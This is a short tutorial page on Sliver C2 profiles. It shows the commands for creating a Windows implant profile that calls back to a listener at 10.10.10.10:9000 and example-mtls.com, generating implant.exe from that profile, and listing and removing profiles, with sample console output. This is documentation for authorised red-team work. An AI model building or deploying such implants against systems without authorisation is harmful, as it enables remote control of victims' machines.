π·οΈ Profiles β
Profiles in Sliver (C2) are configurations that store predefined settings for generating implants. These profiles streamline the process of creating implants by allowing you to save and reuse configurations, ensuring consistency across multiple instances.
π What are Profiles ? β
Profiles in Sliver serve as templates that encapsulate all the necessary settings and parameters required to generate an implant. By saving these configurations as profiles, you can quickly generate multiple implants with identical settings without having to specify each parameter every time. This is particularly useful in complex operations where consistency and efficiency are crucial.
π§ Setting Up Profiles β
To manage profiles in Sliver, you can use the profiles command, which includes subcommands for creating, listing, generating, and removing profiles.
- List Existing Profiles :
To list all existing profiles, use the command :
profiles- Create a New Profile :
To create a new profile, use the profiles new command followed by the desired settings and profile name.
profiles new --arch amd64 --os windows --http http://10.10.10.10:9000 --mtls example-mtls.com customProfile[server] sliver > profiles
Profile Name Implant Type Platform Command & Control Debug Format Obfuscation Limitations
=============== ============== =============== ================================== ======= ============ ============= =============
customProfile session windows/amd64 [1] mtls://example-mtls.com:8888 false EXECUTABLE enabled
[2] http://10.10.10.10:9000- Generate an Implant from a Profile :
Once you have created a profile, you can generate an implant using the profiles generate command :
profiles generate --save ./implant.exe customProfile[server] sliver > implants
Name Implant Type Template OS/Arch Format Command & Control Debug
==================== ============== ========== =============== ============ ================================== =======
ONLY_NONCONFORMIST session sliver windows/amd64 EXECUTABLE [1] mtls://example-mtls.com:8888 false
[2] http://10.10.10.10:9000- Remove a Profile :
If you no longer need a profile, you can remove it using the profiles rm command :
profiles rm customProfile